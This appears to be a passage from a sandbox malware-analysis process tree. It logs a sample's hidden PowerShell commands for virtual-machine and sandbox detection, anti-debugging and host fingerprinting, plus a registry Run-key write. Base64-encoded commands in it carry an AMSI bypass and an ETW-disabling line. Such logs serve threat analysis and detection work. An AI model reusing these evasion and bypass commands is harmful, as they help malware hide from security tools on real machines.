      PID:1952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [Environment]::TickCount
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\VMware, Inc.\VMware Tools 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\VMware, Inc.\VMware Tools
      4⤵
      PID:4572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1828
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4636
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
      4⤵
      PID:5060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5600
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest
      4⤵
      Enumerates VirtualBox registry keys
      Modifies registry key
      PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:6016
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3356
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF
      4⤵
      Enumerates VirtualBox registry keys
      Modifies registry key
      PID:4900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\vmci 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:696
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\vmci
      4⤵
      Looks for VMWare services registry key.
      Modifies registry key
      PID:3696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs
      4⤵
      Modifies registry key
      PID:4172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2404
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL
      4⤵
      Looks for VMWare services registry key.
      Modifies registry key
      PID:5580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\QEMU" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5576
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\QEMU 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5260
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\QEMU
      4⤵
      Modifies registry key
      PID:4576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Parallels" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Parallels 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4280
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Parallels
      4⤵
      Modifies registry key
      PID:5912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Wine" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Wine 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4392
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Wine
      4⤵
      Identifies Wine through registry keys
      Modifies registry key
      PID:5400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3572
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:268
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn
      4⤵
      Looks for Xen service registry key.
      Modifies registry key
      PID:6040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of WriteProcessMemory
  PID:3448
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
      4⤵
      Modifies registry key
      PID:3336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\Cuckoo" 2>nul'"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\Cuckoo 2>nul"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\Cuckoo
      4⤵
      PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\JoeBox" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of WriteProcessMemory
  PID:5808
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\JoeBox 2>nul"
    3⤵
    PID:6004
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\JoeBox
      4⤵
      Modifies registry key
      PID:3752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'tasklist /FO CSV /NH'"
  2⤵
  PID:4828
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "tasklist /FO CSV /NH"
    3⤵
    PID:1420
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV /NH
      4⤵
      Enumerates processes with tasklist
      PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'getmac /FO CSV /NH'"
  2⤵
  PID:3268
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "getmac /FO CSV /NH"
    3⤵
    PID:5284
  - - C:\Windows\system32\getmac.exe
      getmac /FO CSV /NH
      4⤵
      PID:1340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'driverquery /FO CSV'"
  2⤵
  PID:4672
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "driverquery /FO CSV"
    3⤵
    PID:5884
  - - C:\Windows\system32\driverquery.exe
      driverquery /FO CSV
      4⤵
      PID:4084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
  2⤵
  PID:1308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:4900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport("kernel32")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic computersystem get Manufacturer,Model /format:csv'"
  2⤵
  PID:5360
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic computersystem get Manufacturer,Model /format:csv"
    3⤵
    PID:1016
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get Manufacturer,Model /format:csv
      4⤵
      PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv'"
  2⤵
  PID:4260
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
    3⤵
    PID:1808
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv
      4⤵
      PID:4912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "(Get-Process -Id $PID).Parent.ProcessName"
  2⤵
  PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'net use'"
  2⤵
  PID:2864
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "net use"
    3⤵
    PID:1228
  - - C:\Windows\system32\net.exe
      net use
      4⤵
      PID:6040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'tasklist /NH'"
  2⤵
  PID:264
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "tasklist /NH"
    3⤵
    PID:4692
  - - C:\Windows\system32\tasklist.exe
      tasklist /NH
      4⤵
      Enumerates processes with tasklist
      PID:4116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKLM\SOFTWARE\MicrosoftQWindows\CurrentVersion\Uninstall" /s 2>nul'"
  2⤵
  PID:3656
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKLM\SOFTWARE\MicrosoftQWindows\CurrentVersion\Uninstall /s 2>nul"
    3⤵
    PID:484
  - - C:\Windows\system32\reg.exe
      reg query HKLM\SOFTWARE\MicrosoftQWindows\CurrentVersion\Uninstall /s
      4⤵
      Modifies registry key
      PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic diskdrive get SerialNumber /format:csv'"
  2⤵
  PID:5896
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic diskdrive get SerialNumber /format:csv"
    3⤵
    PID:5384
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic diskdrive get SerialNumber /format:csv
      4⤵
      PID:1348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
  2⤵
  PID:3720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAAQAAnAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABOAHgASQBuACAAewAKAFsAUwB0AHIAdQBjAHQATABhAHkAbwB1AHQAKABMAGEAeQBvAHUAdABLAGkAbgBkAC4AUwBlAHEAdQBlAG4AdABpAGEAbAApAF0AIABwAHUAYgBsAGkAYwAgAHMAdAByAHUAYwB0ACAATABJAHsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAYwBiADsAcAB1AGIAbABpAGMAIAB1AGkAbgB0ACAAZAB0ADsAfQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAARwBlAHQATABhAHMAdABJAG4AcAB1AHQASQBuAGYAbwAoAHIAZQBmACAATABJACAAaQApADsACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABHAGUAdABUAGkAYwBrAEMAbwB1AG4AdAAoACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AbwBsACAARwBlAHQAQwB1AHIAcwBvAHIAUABvAHMAKABvAHUAdAAgAFAATwBJAE4AVAAgAHAAKQA7AAoAWwBTAHQAcgB1AGMAdABMAGEAeQBvAHUAdAAoAEwAYQB5AG8AdQB0AEsAaQBuAGQALgBTAGUAcQB1AGUAbgB0AGkAYQBsACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AHIAdQBjAHQAIABQAE8ASQBOAFQAewBwAHUAYgBsAGkAYwAgAGkAbgB0ACAAeAA7AHAAdQBiAGwAaQBjACAAaQBuAHQAIAB5ADsAfQAKAH0ACgAnAEAAIAAtAEUAQQAgAFMAdABvAHAAOwAkAGwAaQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgACcATgB4AEkAbgArAEwASQAnADsAJABsAGkALgBjAGIAPQBbAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAE0AYQByAHMAaABhAGwAXQA6ADoAUwBpAHoAZQBPAGYAKAAkAGwAaQApADsAWwB2AG8AaQBkAF0AWwBOAHgASQBuAF0AOgA6AEcAZQB0AEwAYQBzAHQASQBuAHAAdQB0AEkAbgBmAG8AKABbAHIAZQBmAF0AJABsAGkAKQA7ACQAaQBkAGwAZQA9AFsATgB4AEkAbgBdADoAOgBHAGUAdABUAGkAYwBrAEMAbwB1AG4AdAAoACkALQAkAGwAaQAuAGQAdAA7ACQAcAAxAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAJwBOAHgASQBuACsAUABPAEkATgBUACcAOwAkAHAAMgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgACcATgB4AEkAbgArAFAATwBJAE4AVAAnADsAWwB2AG8AaQBkAF0AWwBOAHgASQBuAF0AOgA6AEcAZQB0AEMAdQByAHMAbwByAFAAbwBzACgAWwByAGUAZgBdACQAcAAxACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANAAwADAAOwBbAHYAbwBpAGQAXQBbAE4AeABJAG4AXQA6ADoARwBlAHQAQwB1AHIAcwBvAHIAUABvAHMAKABbAHIAZQBmAF0AJABwADIAKQA7AGkAZgAoACQAaQBkAGwAZQAgAC0AZwB0ACAAMwAwADAAMAAwADAAKQB7ACcAMAAnAH0AZQBsAHMAZQBpAGYAKAAkAHAAMQAuAHgAIAAtAG4AZQAgACQAcAAyAC4AeAAgAC0AbwByACAAJABwADEALgB5ACAALQBuAGUAIAAkAHAAMgAuAHkAKQB7ACcAMQAnAH0AZQBsAHMAZQB7ACcAMQAnAH0A
  2⤵
  PID:5724
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1h2exnss\1h2exnss.cmdline"
    3⤵
    PID:5196
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES42DB.tmp" "c:\Users\Admin\AppData\Local\Temp\1h2exnss\CSC9018732516924725855AE818234EE218.TMP"
      4⤵
      PID:984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAgAC0ARQBBACAAUwB0AG8AcAA7ACQAcwA9AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AUwBjAHIAZQBlAG4AXQA6ADoAQQBsAGwAUwBjAHIAZQBlAG4AcwA7ACQAYgA9AFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AUwBjAHIAZQBlAG4AXQA6ADoAUAByAGkAbQBhAHIAeQBTAGMAcgBlAGUAbgAuAEIAbwB1AG4AZABzADsAJAB3AD0AJABiAC4AVwBpAGQAdABoADsAJABoAD0AJABiAC4ASABlAGkAZwBoAHQAOwAkAGMAPQAkAHMALgBDAG8AdQBuAHQAOwBpAGYAKAAkAGMAIAAtAGcAZQAgADIAKQB7ACcAMgAnAH0AZQBsAHMAZQBpAGYAKAAkAHcAIAAtAGcAZQAgADEAOQAyADAAIAAtAGEAbgBkACAAJABoACAALQBnAGUAIAAxADAAOAAwACkAewAnADEAJwB9AGUAbABzAGUAaQBmACgAJAB3ACAALQBsAGUAIAAxADAAMgA0ACAALQBhAG4AZAAgACQAaAAgAC0AbABlACAANwA2ADgAKQB7ACcAMAAnAH0AZQBsAHMAZQB7ACcAMQAnAH0A
  2⤵
  PID:4548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand KABHAGUAdAAtAE4AZQB0AEEAZABhAHAAdABlAHIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4AUwB0AGEAdAB1AHMAIAAtAGUAcQAgACcAVQBwACcAIAB9ACAAfAAgAE0AZQBhAHMAdQByAGUALQBPAGIAagBlAGMAdAApAC4AQwBvAHUAbgB0AA==
  2⤵
  PID:2424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'net use 2>nul'"
  2⤵
  PID:5036
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "net use 2>nul"
    3⤵
    PID:1080
  - - C:\Windows\system32\net.exe
      net use
      4⤵
      PID:3672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand WwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFcAcgBpAHQAZQBCAHkAdABlACgAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBDAG8AbgB0AGUAeAB0ACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAgADAAeAAwADQAKQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3084
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3084" "2100" "1964" "2088" "0" "0" "2104" "0" "0" "0" "0" "0"
    3⤵
    PID:5392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4AJwApAC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFQAcgBhAGMAaQBuAGcALgBQAFMARQB0AHcATABvAGcAUAByAG8AdgBpAGQAZQByACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJABuAHUAbABsACkA
  2⤵
  PID:3812
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "3812" "2112" "2004" "2100" "0" "0" "2116" "0" "0" "0" "0" "0"
    3⤵
    PID:6104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  PID:4208
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5080
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState 2>nul"
    3⤵
    PID:4224
  - - C:\Windows\system32\reg.exe
      reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState
      4⤵
      Modifies registry key
      PID:3116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "NyxarWorkerState" /t REG_SZ /d "START|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277463456" /f 2>nul'"
  2⤵
  PID:1328
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d START|11111111-1111-1111-1111-111111111111|C:\Users\Admin\AppData\Local\Temp\\out_11111111-1111-1111-1111-111111111111_1784277463159|3284|1784277463456 /f 2>nul"
    3⤵
    PID:5628
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v NyxarWorkerState /t REG_SZ /d START
      4⤵
      Modifies registry key
      PID:252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic os get Caption,Version /format:csv'"
  2⤵
  PID:5072
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "wmic os get Caption,Version /format:csv"
    3⤵
    PID:1532
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption,Version /format:csv
      4⤵
      PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'wmic cpu get Name /format:csv'"
  2⤵
  PID:2388
- - C:\Windows\system32\cmd.exe
